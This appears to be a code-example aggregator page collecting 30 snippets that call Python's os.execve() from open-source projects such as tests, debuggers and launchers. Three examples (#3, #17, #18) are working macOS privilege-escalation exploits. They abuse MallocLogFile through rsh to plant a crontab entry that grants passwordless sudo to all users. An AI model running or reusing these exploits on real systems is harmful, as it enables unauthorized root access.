Python os.execve() Examples
The following are 30
code examples of os.execve().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
os
, or try the search function
.
Example #1
Source File: test_os.py From ironpython2 with Apache License 2.0 | 6 votes |
def test_execve_invalid_env(self): args = [sys.executable, '-c', 'pass'] # null character in the enviroment variable name newenv = os.environ.copy() newenv["FRUIT\0VEGETABLE"] = "cabbage" with self.assertRaises(TypeError): os.execve(args[0], args, newenv) # null character in the enviroment variable value newenv = os.environ.copy() newenv["FRUIT"] = "orange\0VEGETABLE=cabbage" with self.assertRaises(TypeError): os.execve(args[0], args, newenv) # equal character in the enviroment variable name newenv = os.environ.copy() newenv["FRUIT=ORANGE"] = "lemon" with self.assertRaises(ValueError): os.execve(args[0], args, newenv)
Example #2
Source File: tagtest.py From conary with Apache License 2.0 | 6 votes |
def testTagHandlerDoesNotExist(self): myRecipe = recipes.multiTagRecipe0 myRecipe += ' r.ComponentSpec(":tag", "%(taghandlerdir)s/")\n' multitag = self.build(myRecipe, "MultiTag", returnTrove='multitag') self.updatePkg('multitag:runtime') fooFile = rephelp.RegularFile( contents = 'foo\n', perms = 0644, tags = [ 'foo' ] ) self.addComponent('foo:runtime', [('/bam', fooFile)]) oldFuncs = (os.getuid, os.lchown, os.chroot) self.mock(os, "getuid", lambda : 0) self.mock(os, "lchown", lambda x, y, z : None) self.mock(os, "chroot", lambda x :None) # this fixes a race between new tag handler process exiting and # writing files into the pipe for that tag handler; we let the # write finish before the handler process terminates origExec = os.execve self.mock(os, "execve", lambda *args : (time.sleep(0.1), origExec(*args))) rc, txt = self.captureOutput(self.updatePkg, 'foo:runtime', _removeBokenPipeErrors=True) self.assertEquals(txt.lstrip(), '[foo] [Errno 2] No such file or directory\nerror: /usr/libexec/conary/tags/foo failed\n')
Example #3
Source File: CVE-2015-5889.py From EvilOSX with GNU General Public License v3.0 | 6 votes |
def run(options): print("Creating /etc/crontab...") p = os.fork() if p == 0: os.close(1) os.close(2) os.execve("/usr/bin/rsh", ["rsh", "localhost"], env) time.sleep(1) if "NOPASSWD" not in open("/etc/crontab").read(): print("Exploit failed.") else: print("Done, waiting for /etc/sudoers to update...") while os.stat("/etc/sudoers").st_size == old_size: time.sleep(1) print("Exploit completed, you can now execute commands as sudo.") subprocess.call("sudo rm -rf /etc/crontab", shell=True)
Example #4
Source File: test_os.py From Project-New-Reign---Nemesis-Main with GNU General Public License v3.0 | 6 votes |
def test_execve_invalid_env(self): args = [sys.executable, '-c', 'pass'] # null character in the enviroment variable name newenv = os.environ.copy() newenv["FRUIT\0VEGETABLE"] = "cabbage" with self.assertRaises(ValueError): os.execve(args[0], args, newenv) # null character in the enviroment variable value newenv = os.environ.copy() newenv["FRUIT"] = "orange\0VEGETABLE=cabbage" with self.assertRaises(ValueError): os.execve(args[0], args, newenv) # equal character in the enviroment variable name newenv = os.environ.copy() newenv["FRUIT=ORANGE"] = "lemon" with self.assertRaises(ValueError): os.execve(args[0], args, newenv)
Example #5
Source File: benchmark.py From ccs-calendarserver with Apache License 2.0 | 5 votes |
def mark(self): marks = [] for (_ignore_process, protocol) in self.dtraces.itervalues(): marks.append(protocol.mark()) d = gatherResults(marks) d.addCallback(lambda ign: self.stats()) try: os.execve( "CalendarServer dtrace benchmarking signal", [], {}) except OSError: pass return d
Example #6
Source File: pydev_monkey.py From filmkodi with Apache License 2.0 | 5 votes |
def patch_new_process_functions_with_warning(): monkey_patch_os('execl', create_warn_multiproc) monkey_patch_os('execle', create_warn_multiproc) monkey_patch_os('execlp', create_warn_multiproc) monkey_patch_os('execlpe', create_warn_multiproc) monkey_patch_os('execv', create_warn_multiproc) monkey_patch_os('execve', create_warn_multiproc) monkey_patch_os('execvp', create_warn_multiproc) monkey_patch_os('execvpe', create_warn_multiproc) monkey_patch_os('spawnl', create_warn_multiproc) monkey_patch_os('spawnle', create_warn_multiproc) monkey_patch_os('spawnlp', create_warn_multiproc) monkey_patch_os('spawnlpe', create_warn_multiproc) monkey_patch_os('spawnv', create_warn_multiproc) monkey_patch_os('spawnve', create_warn_multiproc) monkey_patch_os('spawnvp', create_warn_multiproc) monkey_patch_os('spawnvpe', create_warn_multiproc) if sys.platform != 'win32': monkey_patch_os('fork', create_warn_multiproc) try: import _posixsubprocess monkey_patch_module(_posixsubprocess, 'fork_exec', create_warn_fork_exec) except ImportError: pass else: # Windows try: import _subprocess except ImportError: import _winapi as _subprocess monkey_patch_module(_subprocess, 'CreateProcess', create_CreateProcessWarnMultiproc)
Example #7
Source File: pydev_monkey.py From filmkodi with Apache License 2.0 | 5 votes |
def create_execve(original_name): """ os.execve(path, args, env) os.execvpe(file, args, env) """ def new_execve(path, args, env): import os return getattr(os, original_name)(path, patch_args(args), env) return new_execve
Example #8
Source File: core.py From mitogen with BSD 3-Clause "New" or "Revised" License | 5 votes |
def set_cloexec(fd): """ Set the file descriptor `fd` to automatically close on :func:`os.execve`. This has no effect on file descriptors inherited across :func:`os.fork`, they must be explicitly closed through some other means, such as :func:`mitogen.fork.on_fork`. """ flags = fcntl.fcntl(fd, fcntl.F_GETFD) assert fd > 2, 'fd %r <= 2' % (fd,) fcntl.fcntl(fd, fcntl.F_SETFD, flags | fcntl.FD_CLOEXEC)
Example #9
Source File: pythonloc.py From pythonloc with MIT License | 5 votes |
def piploc(): pip_args = sys.argv[1:] install_args = _get_pip_install_args(pip_args) args = [sys.executable] + ["-m", "pip"] + pip_args + install_args os.execve(sys.executable, args, _get_env())
Example #10
Source File: pythonloc.py From pythonloc with MIT License | 5 votes |
def pythonloc(): args = [sys.executable] + sys.argv[1:] script_path = _get_script_path() os.execve(sys.executable, args, _get_env(script_path))
Example #11
Source File: serverCacheProxy.py From conary with Apache License 2.0 | 5 votes |
def __init__(self, cwd=None, env=None): BaseProxy.__init__(self, set()) if env is None: env = os.environ.copy() self._servers = [ None ] * 5 p0, p1 = os.pipe(), os.pipe() self._pid = os.fork() if self._pid == 0: os.close(p1[1]) os.close(p0[0]) if not cwd: if 'conary_test.serverCacheProxy' in sys.modules: fpath = sys.modules['conary_test.serverCacheProxy'].__file__ else: fpath = sys.argv[0] cwd = os.path.dirname(fpath) cmd = ["/usr/bin/python", "-c", "from conary_test import serverCacheProxy; " "serverCacheProxy.Child(%d, %d)" % (p1[0], p0[1])] os.chdir(cwd) os.execve(cmd[0], cmd, env) os._exit(0) try: os.close(p0[1]) os.close(p1[0]) self._pipe = Pipe(p0[0], p1[1]) sdict = loadData(self._pipe) self._methods = sdict['methods'] #print "Child started", methodname, params except: os.waitpid(self._pid, 0) raise
Example #12
Source File: main_template.py From rules_pyz with Apache License 2.0 | 5 votes |
def reexec_without_site_packages_if_needed(): # Attempt to isolate the Python environment as much as possible: # -S: Disable site module: disables .pth files that could be customized # -s: Don't use user site directory to sys.path # can't add -ESs to #! for zips: virtualenv doesn't have runpy, required to run .zip # TODO: Copy pex's "site cleaning" code to avoid re-executing? if 'site' in sys.modules: # re-exec without any PYTHON environment variables and without site packages clean_env = {k: v for k, v in os.environ.items() if k not in _STRIP_ENVVARS} # ensure runpy is available: virtualenv python -S does not have it import runpy clean_env['PYTHONPATH'] = os.path.dirname(runpy.__file__) command_line = [sys.executable, '-Ss'] + sys.argv os.execve(command_line[0], command_line, clean_env)
Example #13
Source File: launch.py From pip-run with MIT License | 5 votes |
def with_path_overlay(target, params): """ Overlay Python with target on the path and params """ cmd = [sys.executable] + params os.execve(sys.executable, cmd, _setup_env(target))
Example #14
Source File: test_os.py From Project-New-Reign---Nemesis-Main with GNU General Public License v3.0 | 5 votes |
def _execvpe_mockup(defpath=None): """ Stubs out execv and execve functions when used as context manager. Records exec calls. The mock execv and execve functions always raise an exception as they would normally never return. """ # A list of tuples containing (function name, first arg, args) # of calls to execv or execve that have been made. calls = [] def mock_execv(name, *args): calls.append(('execv', name, args)) raise RuntimeError("execv called") def mock_execve(name, *args): calls.append(('execve', name, args)) raise OSError(errno.ENOTDIR, "execve called") try: orig_execv = os.execv orig_execve = os.execve orig_defpath = os.defpath os.execv = mock_execv os.execve = mock_execve if defpath is not None: os.defpath = defpath yield calls finally: os.execv = orig_execv os.execve = orig_execve os.defpath = orig_defpath
Example #15
Source File: admin.py From koschei with GNU General Public License v2.0 | 5 votes |
def execute(self, args): engine = get_engine() cmd = ['psql', '-d', engine.url.database] + args if engine.url.username: cmd += ['-U', engine.url.username] if engine.url.host: cmd += ['-h', engine.url.host] env = os.environ.copy() if engine.url.password: env['PGPASSWORD'] = engine.url.password os.execve('/usr/bin/psql', cmd, env)
Example #16
Source File: fork_exec.py From loky with BSD 3-Clause "New" or "Revised" License | 5 votes |
def fork_exec(cmd, keep_fds, env=None): # copy the environment variables to set in the child process env = {} if env is None else env child_env = os.environ.copy() child_env.update(env) pid = os.fork() if pid == 0: # pragma: no cover close_fds(keep_fds) os.execve(sys.executable, cmd, child_env) else: return pid
Example #17
Source File: libmalloc.py From rootOS with MIT License | 5 votes |
def run(): """runs exploit""" size = os.stat("/etc/sudoers").st_size env = dict() env['MallocLogFile'] = '/etc/crontab' env['MallocStackLogging'] = 'yes' env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n' print("Trying /etc/crontab...") pid = os.fork() if pid == 0: os.close(1) os.close(2) os.execve("/usr/bin/rsh", ["rsh", "localhost"], env) time.sleep(1) try: crontab = open("/etc/crontab").read() if "NOPASSWD" not in crontab: return except IOError: return print("Done \nWaiting for /etc/sudoers to change (<60 seconds)...") while os.stat("/etc/sudoers").st_size == size: print(".") time.sleep(1) return True
Example #18
Source File: LPE_10-10-5.py From EvilOSX with GNU General Public License v3.0 | 5 votes |
def get_root(): env = {} old_size = os.stat("/etc/sudoers").st_size env['MallocLogFile'] = '/etc/crontab' env['MallocStackLogging'] = 'yes' env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n' print "Creating /etc/crontab..." p = os.fork() if p == 0: os.close(1) os.close(2) os.execve("/usr/bin/rsh", ["rsh", "localhost"], env) time.sleep(1) if "NOPASSWD" not in open("/etc/crontab").read(): print "FAILED!" exit(-1) print "Done, waiting for /etc/sudoers to update..." while os.stat("/etc/sudoers").st_size == old_size: time.sleep(1) print "Exploit completed." os.system("sudo rm -rf /etc/crontab") exit()
Example #19
Source File: __init__.py From edgedb with Apache License 2.0 | 5 votes |
def rustcli() -> NoReturn: thisdir = pathlib.Path(__file__).parent os.execve(str(thisdir / 'edgedb'), sys.argv, os.environ) # Import subcommands to register them
Example #20
Source File: spawn.py From BinderFilter with MIT License | 5 votes |
def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0): log.info(' '.join(cmd)) if dry_run: return exec_fn = search_path and os.execvp or os.execv exec_args = [cmd[0], cmd] if sys.platform == 'darwin': global _cfg_target, _cfg_target_split if _cfg_target is None: _cfg_target = sysconfig.get_config_var( 'MACOSX_DEPLOYMENT_TARGET') or '' if _cfg_target: _cfg_target_split = [int(x) for x in _cfg_target.split('.')] if _cfg_target: # ensure that the deployment target of build process is not less # than that used when the interpreter was built. This ensures # extension modules are built with correct compatibility values cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target) if _cfg_target_split > [int(x) for x in cur_target.split('.')]: my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: ' 'now "%s" but "%s" during configure' % (cur_target, _cfg_target)) raise DistutilsPlatformError(my_msg) env = dict(os.environ, MACOSX_DEPLOYMENT_TARGET=cur_target) exec_fn = search_path and os.execvpe or os.execve exec_args.append(env) pid = os.fork() if pid == 0: # in the child try: exec_fn(*exec_args) except OSError, e: sys.stderr.write("unable to execute %s: %s\n" % (cmd[0], e.strerror)) os._exit(1) sys.stderr.write("unable to execute %s for unknown reasons" % cmd[0]) os._exit(1)
Example #21
Source File: pydev_monkey.py From PyDev.Debugger with Eclipse Public License 1.0 | 5 votes |
def create_execve(original_name): """ os.execve(path, args, env) os.execvpe(file, args, env) """ def new_execve(path, args, env): if _get_apply_arg_patching(): args = patch_args(args, is_exec=True) send_process_created_message() return getattr(os, original_name)(path, args, env) return new_execve
Example #22
Source File: pydev_monkey.py From PyDev.Debugger with Eclipse Public License 1.0 | 5 votes |
def patch_new_process_functions_with_warning(): monkey_patch_os('execl', create_warn_multiproc) monkey_patch_os('execle', create_warn_multiproc) monkey_patch_os('execlp', create_warn_multiproc) monkey_patch_os('execlpe', create_warn_multiproc) monkey_patch_os('execv', create_warn_multiproc) monkey_patch_os('execve', create_warn_multiproc) monkey_patch_os('execvp', create_warn_multiproc) monkey_patch_os('execvpe', create_warn_multiproc) monkey_patch_os('spawnl', create_warn_multiproc) monkey_patch_os('spawnle', create_warn_multiproc) monkey_patch_os('spawnlp', create_warn_multiproc) monkey_patch_os('spawnlpe', create_warn_multiproc) monkey_patch_os('spawnv', create_warn_multiproc) monkey_patch_os('spawnve', create_warn_multiproc) monkey_patch_os('spawnvp', create_warn_multiproc) monkey_patch_os('spawnvpe', create_warn_multiproc) monkey_patch_os('posix_spawn', create_warn_multiproc) if not IS_JYTHON: if not IS_WINDOWS: monkey_patch_os('fork', create_warn_multiproc) try: import _posixsubprocess monkey_patch_module(_posixsubprocess, 'fork_exec', create_warn_fork_exec) except ImportError: pass else: # Windows try: import _subprocess except ImportError: import _winapi as _subprocess monkey_patch_module(_subprocess, 'CreateProcess', create_CreateProcessWarnMultiproc)
Example #23
Source File: systemctl3.py From vanilla-docker with MIT License | 5 votes |
def execve_from(self, conf, cmd, env): """ this code is commonly run in a child process // returns exit-code""" runs = conf.get("Service", "Type", "simple").lower() logg.debug("%s process for %s", runs, conf.filename()) inp = open("/dev/zero") out = self.open_journal_log(conf) os.dup2(inp.fileno(), sys.stdin.fileno()) os.dup2(out.fileno(), sys.stdout.fileno()) os.dup2(out.fileno(), sys.stderr.fileno()) runuser = self.expand_special(conf.get("Service", "User", ""), conf) rungroup = self.expand_special(conf.get("Service", "Group", ""), conf) envs = shutil_setuid(runuser, rungroup) badpath = self.chdir_workingdir(conf) # some dirs need setuid before if badpath: logg.error("(%s): bad workingdir: '%s'", shell_cmd(cmd), badpath) sys.exit(1) env = self.extend_exec_env(env) env.update(envs) # set $HOME to ~$USER try: if "spawn" in COVERAGE: os.spawnvpe(os.P_WAIT, cmd[0], cmd, env) sys.exit(0) else: # pragma: nocover os.execve(cmd[0], cmd, env) except Exception as e: logg.error("(%s): %s", shell_cmd(cmd), e) sys.exit(1)
Example #24
Source File: __init__.py From script-languages with MIT License | 5 votes |
def _lint(self): env = os.environ.copy() env['PYTHONPATH'] = os.path.realpath(os.path.join( os.path.abspath(__file__), '../..')) pylint = '/usr/opt/bs-python-2.7/bin/pylint' if not os.path.exists(pylint): pylint = "pylint" cmd = [pylint, '--rcfile=%s' % os.path.realpath( os.path.join(os.path.abspath(__file__), '../../pylintrc')), sys.argv[0]] if os.isatty(sys.stdout.fileno()): cmd.append('--output-format=colorized') os.execve(cmd[0], cmd, env)
Example #25
Source File: test_os.py From Fluid-Designer with GNU General Public License v3.0 | 5 votes |
def _execvpe_mockup(defpath=None): """ Stubs out execv and execve functions when used as context manager. Records exec calls. The mock execv and execve functions always raise an exception as they would normally never return. """ # A list of tuples containing (function name, first arg, args) # of calls to execv or execve that have been made. calls = [] def mock_execv(name, *args): calls.append(('execv', name, args)) raise RuntimeError("execv called") def mock_execve(name, *args): calls.append(('execve', name, args)) raise OSError(errno.ENOTDIR, "execve called") try: orig_execv = os.execv orig_execve = os.execve orig_defpath = os.defpath os.execv = mock_execv os.execve = mock_execve if defpath is not None: os.defpath = defpath yield calls finally: os.execv = orig_execv os.execve = orig_execve os.defpath = orig_defpath
Example #26
Source File: __init__.py From python-libfaketime with GNU General Public License v2.0 | 5 votes |
def reexec_if_needed(remove_vars=True): needs_reload, env_additions = get_reload_information() if needs_reload: new_environ = os.environ.copy() new_environ.update(env_additions) new_environ[_DID_REEXEC_VAR] = 'true' args = [sys.executable, [sys.executable] + sys.argv, new_environ] print('re-exec with libfaketime dependencies') os.execve(*args) if remove_vars: for key in env_additions: if key in os.environ: del os.environ[key]
Example #27
Source File: test_os.py From ironpython3 with Apache License 2.0 | 5 votes |
def _execvpe_mockup(defpath=None): """ Stubs out execv and execve functions when used as context manager. Records exec calls. The mock execv and execve functions always raise an exception as they would normally never return. """ # A list of tuples containing (function name, first arg, args) # of calls to execv or execve that have been made. calls = [] def mock_execv(name, *args): calls.append(('execv', name, args)) raise RuntimeError("execv called") def mock_execve(name, *args): calls.append(('execve', name, args)) raise OSError(errno.ENOTDIR, "execve called") try: orig_execv = os.execv orig_execve = os.execve orig_defpath = os.defpath os.execv = mock_execv os.execve = mock_execve if defpath is not None: os.defpath = defpath yield calls finally: os.execv = orig_execv os.execve = orig_execve os.defpath = orig_defpath
Example #28
Source File: spawn.py From PokemonGo-DesktopMap with MIT License | 4 votes |
def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0): log.info(' '.join(cmd)) if dry_run: return executable = cmd[0] exec_fn = search_path and os.execvp or os.execv env = None if sys.platform == 'darwin': global _cfg_target, _cfg_target_split if _cfg_target is None: _cfg_target = sysconfig.get_config_var( 'MACOSX_DEPLOYMENT_TARGET') or '' if _cfg_target: _cfg_target_split = [int(x) for x in _cfg_target.split('.')] if _cfg_target: # ensure that the deployment target of build process is not less # than that used when the interpreter was built. This ensures # extension modules are built with correct compatibility values cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target) if _cfg_target_split > [int(x) for x in cur_target.split('.')]: my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: ' 'now "%s" but "%s" during configure' % (cur_target, _cfg_target)) raise DistutilsPlatformError(my_msg) env = dict(os.environ, MACOSX_DEPLOYMENT_TARGET=cur_target) exec_fn = search_path and os.execvpe or os.execve pid = os.fork() if pid == 0: # in the child try: if env is None: exec_fn(executable, cmd) else: exec_fn(executable, cmd, env) except OSError, e: if not DEBUG: cmd = executable sys.stderr.write("unable to execute %r: %s\n" % (cmd, e.strerror)) os._exit(1) if not DEBUG: cmd = executable sys.stderr.write("unable to execute %r for unknown reasons" % cmd) os._exit(1)
Example #29
Source File: spawn.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 4 votes |
def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0): log.info(' '.join(cmd)) if dry_run: return executable = cmd[0] exec_fn = search_path and os.execvp or os.execv env = None if sys.platform == 'darwin': global _cfg_target, _cfg_target_split if _cfg_target is None: _cfg_target = sysconfig.get_config_var( 'MACOSX_DEPLOYMENT_TARGET') or '' if _cfg_target: _cfg_target_split = [int(x) for x in _cfg_target.split('.')] if _cfg_target: # ensure that the deployment target of build process is not less # than that used when the interpreter was built. This ensures # extension modules are built with correct compatibility values cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target) if _cfg_target_split > [int(x) for x in cur_target.split('.')]: my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: ' 'now "%s" but "%s" during configure' % (cur_target, _cfg_target)) raise DistutilsPlatformError(my_msg) env = dict(os.environ, MACOSX_DEPLOYMENT_TARGET=cur_target) exec_fn = search_path and os.execvpe or os.execve pid = os.fork() if pid == 0: # in the child try: if env is None: exec_fn(executable, cmd) else: exec_fn(executable, cmd, env) except OSError, e: if not DEBUG: cmd = executable sys.stderr.write("unable to execute %r: %s\n" % (cmd, e.strerror)) os._exit(1) if not DEBUG: cmd = executable sys.stderr.write("unable to execute %r for unknown reasons" % cmd) os._exit(1)
Example #30
Source File: spawn.py From unity-python with MIT License | 4 votes |
def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0): log.info(' '.join(cmd)) if dry_run: return executable = cmd[0] exec_fn = search_path and os.execvp or os.execv env = None if sys.platform == 'darwin': global _cfg_target, _cfg_target_split if _cfg_target is None: _cfg_target = sysconfig.get_config_var( 'MACOSX_DEPLOYMENT_TARGET') or '' if _cfg_target: _cfg_target_split = [int(x) for x in _cfg_target.split('.')] if _cfg_target: # ensure that the deployment target of build process is not less # than that used when the interpreter was built. This ensures # extension modules are built with correct compatibility values cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target) if _cfg_target_split > [int(x) for x in cur_target.split('.')]: my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: ' 'now "%s" but "%s" during configure' % (cur_target, _cfg_target)) raise DistutilsPlatformError(my_msg) env = dict(os.environ, MACOSX_DEPLOYMENT_TARGET=cur_target) exec_fn = search_path and os.execvpe or os.execve pid = os.fork() if pid == 0: # in the child try: if env is None: exec_fn(executable, cmd) else: exec_fn(executable, cmd, env) except OSError, e: if not DEBUG: cmd = executable sys.stderr.write("unable to execute %r: %s\n" % (cmd, e.strerror)) os._exit(1) if not DEBUG: cmd = executable sys.stderr.write("unable to execute %r for unknown reasons" % cmd) os._exit(1)